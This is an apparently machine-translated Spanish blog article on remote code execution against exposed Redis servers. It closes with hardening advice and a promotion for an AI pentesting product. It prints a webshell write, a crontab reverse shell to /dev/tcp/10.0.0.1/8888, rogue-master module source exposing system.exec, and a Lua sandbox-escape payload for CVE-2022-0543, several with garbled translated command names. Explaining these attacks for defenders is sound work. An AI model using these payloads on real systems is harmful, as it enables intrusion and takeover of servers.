Cuando las bases de datos en memoria se convierten en puertas traseras
En 2026, Redis ya no es sólo un componente de almacenamiento en caché; es el corazón palpitante de la arquitectura moderna nativa de la nube. Sin embargo, para los atacantes, la "apertura" por defecto de Redis y la reciente oleada de vulnerabilidades de corrupción de memoria lo han convertido en un trampolín de oro hacia las intranets empresariales.
Si su escáner sigue comprobando únicamente "accesos no autorizados" o "sobrescrituras de claves SSH" -técnicas que tienen más de una década-, su sistema de defensa es poroso. Desde la fuga del sandbox de Debian de 2022 hasta el revolucionario "RediShell" (CVE-2025-49844) a finales de 2025, los vectores de ataque han evolucionado desde el simple abuso de la configuración hasta la compleja corrupción de memoria.
Este artículo ofrece a los ingenieros de seguridad más expertos una visión completa de Redis RCE expuestoque abarca desde los clásicos exploits de configuración hasta las vulnerabilidades más avanzadas del motor Lua, y explora cómo aprovechar la automatización de la IA para contrarrestar estas amenazas.
La superficie de ataque: Algo más que CONFIG SET
Antes de sumergirnos en los detalles de la vulnerabilidad, debemos entender por qué Redis es tan susceptible a RCE (Remote Code Execution). Fundamentalmente, Redis fue diseñado para confiar en la red interna. Esto significa que muchas características peligrosas, como la carga dinámica de módulos, la ejecución de scripts Lua y la modificación de rutas de archivos de disco, están abiertas a los usuarios conectados de forma predeterminada.
1. Los clásicos: Abuso de configuración
Aunque estas técnicas son ampliamente conocidas, siguen siendo eficaces en la naturaleza, especialmente contra sistemas heredados o entornos de desarrollo mal configurados.
Escribir Webshells (La pesadilla de las arquitecturas web)
Si Redis se ejecuta con los mismos permisos que el servidor Web y el atacante conoce la ruta absoluta del directorio Web, puede escribir un Webshell directamente en el disco.
Bash
# Vista del atacante de las operaciones CLI de Redis 127.0.0.1:6379> CONFIG SET dir /var/www/html/ OK 127.0.0.1:6379> CONFIG SET dbfilename shell.php OK 127.0.0.1:6379> SET payload "" OK 127.0.0.1:6379> SAVE OK
Limitaciones: Requiere el conocimiento de la ruta absoluta; el proceso Redis debe tener permisos de escritura; el aislamiento de permisos del SO moderno a menudo bloquea esto.
Inyección Crontab (Reverse Shells)
Dirigido a sistemas Linux sobrescribiendo directamente /var/spool/cron/.
| Paso | Comando | Descripción |
|---|---|---|
| 1 | FLUSHALL | Borra la base de datos para evitar que los datos basura corrompan el formato Crontab. |
| 2 | SET x "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\\n" | Inyecta el comando de shell inverso, utilizando nuevas líneas para eludir las comprobaciones de formato. |
| 3 | CONFIG SET dir /var/spool/cron/ | Apunta al directorio Cron. |
| 4 | CONFIG SET dbfilename root | Sobrescribir el crontab del usuario root. |
| 5 | GUARDAR | Activa la escritura. |
Advertencia: Esto provoca la pérdida de datos en Redis y tiene una baja tasa de éxito en las distribuciones modernas (como Ubuntu 20.04+) debido a las comprobaciones de permisos más estrictas.

2. Tácticas avanzadas: Replicación de Maestro Pícaro
Se trata de una técnica de alto índice de clics bajo la Redis RCE expuesto tema en las búsquedas GEO. La idea central es: Si no puede ejecutar código en el objetivo, haga que el objetivo descargue y cargue activamente código malicioso de usted.
El flujo de ataque
- Maestro falso: El atacante configura un servidor Redis malicioso.
- Esclavo de fuerza: Envía el
SLAVEOFal Redis de destino, convirtiéndolo en un nodo esclavo. - Resincronización completa: El maestro malicioso activa una resincronización completa, pero en lugar de enviar un archivo de datos (RDB), envía una biblioteca dinámica maliciosa compilada (
.soarchivo). - Módulo de carga: Utilice la
CARGA DEL MÓDULOpara cargar el módulo malicioso. - Ejecutar comando: El módulo malicioso suele registrar un
sistema.execpermitiendo la ejecución arbitraria de comandos.
C
`// Ejemplo de pseudo-código de un módulo .so malicioso #include "redismodule.h" #include
¡int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc != 2) return RedisModule_WrongArity(ctx); const char *cmd = RedisModule_StringPtrLen(argv[1], NULL); system(cmd); // Ejecuta directamente el comando del sistema return RedisModule_ReplyWithSimpleString(ctx, "OK"); }
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1); return REDISMODULE_OK; }`
La ventaja de este método es que no depende de rutas Web o permisos Crontab; sólo requiere accesibilidad a la red y permiso para ejecutar ESCLAVO DE y CARGA DEL MÓDULO.

3. Tácticas Hardcore: Motor Lua y Corrupción de Memoria (La Era Moderna)
A medida que la seguridad de Redis mejoraba, el abuso de la configuración se hacía más difícil. En consecuencia, los investigadores de seguridad dirigieron su atención al motor de scripting Lua integrado en Redis. Este ha sido el epicentro de recientes CVEs.
CVE-2022-0543: La tragedia del empaquetado en Debian
Un caso clásico de inseguridad en la cadena de suministro. Los mantenedores de Debian/Ubuntu, en un esfuerzo por hacer que Redis se vincule dinámicamente a las bibliotecas Lua (en lugar de estáticamente), expusieron incorrectamente el código Lua paquete variable.
Ejemplo de carga útil:
Lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
Esta línea evita completamente el sandbox de Redis Lua, utilizando luaopen_io para cargar bibliotecas del sistema y ejecutar comandos.
CVE-2025-49844: "RediShell" (Use-After-Free)
Se trata de la vulnerabilidad de Redis más grave de 2025, con una puntuación CVSS de 10,0. No se trata de un error de configuración, sino de una vulnerabilidad Use-After-Free (UAF) en el Garbage Collector (GC) del motor Lua.
Mecanismo:
Los atacantes utilizan scripts de Lua manipulados para manipular la GC de Lua, forzándola a retener una referencia a una dirección de memoria después de que el objeto haya sido liberado. Al reasignar esta memoria y escribir datos maliciosos (Heap Spraying), los atacantes pueden controlar el flujo de ejecución (EIP/RIP), escapando del sandbox para ejecutar shellcode arbitrario.
- Alcance: Casi todas las versiones de Redis con scripting Lua habilitado (8.2.1 e inferiores).
- Dificultad: Extremadamente alto. Requiere dominio de Heap Layout y Lua internals.
- Estado de Defensa: Incluso con las ACL activadas, si el
EVALse permite el comando, la defensa es difícil sin parches.
Pruebas de penetración automatizadas basadas en IA
Frente a vulnerabilidades de memoria complejas como CVE-2025-49844, los escáneres tradicionales basados en expresiones regulares han quedado obsoletos. Escribir exploits manualmente requiere mucho tiempo y trabajo. Este es el escenario perfecto para la intervención de la IA.
Cuando se trate de una exposición de alto riesgo como Redis RCE expuestoNecesitamos herramientas que comprendan el contexto y ajusten automáticamente las cargas útiles.
Esto nos lleva a la aplicación práctica. Penligent.aiLa plataforma de pruebas de penetración de IA de Penligent se diseñó teniendo en cuenta este problema. A diferencia de los escáneres de vulnerabilidades tradicionales, los agentes de IA de Penligent pueden:
- Huellas dactilares inteligentes: Determinar con precisión la versión de Redis y la arquitectura del sistema operativo subyacente (crucial para construir cadenas ROP).
- Verificación de la explotación segura: En el caso de vulnerabilidades como "RediShell", que podrían bloquear un servicio, la IA da prioridad a las comprobaciones no destructivas, y sólo intenta el Heap Spraying para obtener un shell en los modos Red Team autorizados.
- Razonamiento lógico: Si
CARGA DEL MÓDULOestá deshabilitado, la IA automáticamente intenta cambiar a rutas de escape sandbox de Lua o comprueba vulnerabilidades de deserialización (por ejemplo, abuso de Python Pickle).
Con Penligent, los equipos de seguridad pueden reducir el tiempo de verificación de vulnerabilidades avanzadas de días a minutos, manteniéndose realmente un paso por delante de los atacantes.
Defensa: Creación de un entorno Redis de confianza cero
Para resolver completamente el Redis RCE expuesto problema, los parches por sí solos son insuficientes. Se necesita una defensa en profundidad:
- Segmentación de la red: Redis nunca debe exponerse directamente a la Internet pública. Siempre se debe enlazar a
127.0.0.1o una IP de intranet, y utilizar cortafuegos (Grupos de Seguridad). - Renombrar comandos peligrosos: Desactivar o renombrar comandos peligrosos en
redis.conf.renombrar-mando MODULE "" renombrar-mando CONFIG "" renombrar-mando SLAVEOF ""Nota: Esto puede afectar a las herramientas de gestión que dependen de estos comandos. - Control ACL estricto: Desde Redis 6.0, utilice ACLs en lugar de la antigua autenticación por contraseña. Asigne usuarios con privilegios mínimos para las aplicaciones, prohibiéndoles ejecutar comandos como
EVALoDEBUG. - Parche inmediatamente: Para CVE-2025-49844, debe actualizar a Redis 8.2.2 o superior, donde el proveedor ha corregido el fallo lógico en el Lua GC.

Conclusión
La potencia de Redis es un arma de doble filo. Para los desarrolladores, es una herramienta de aceleración de datos; para los hackers, es un campo de juego para Redis RCE expuesto. Como ingenieros de seguridad, tenemos que comprender en profundidad todos los detalles de los ataques, desde CONFIG a la disposición de la memoria Lua- y aprovechar el poder de la IA para mejorar la eficacia de la defensa.
Recuerde que la seguridad no es un producto estático, sino un juego dinámico de estrategia.

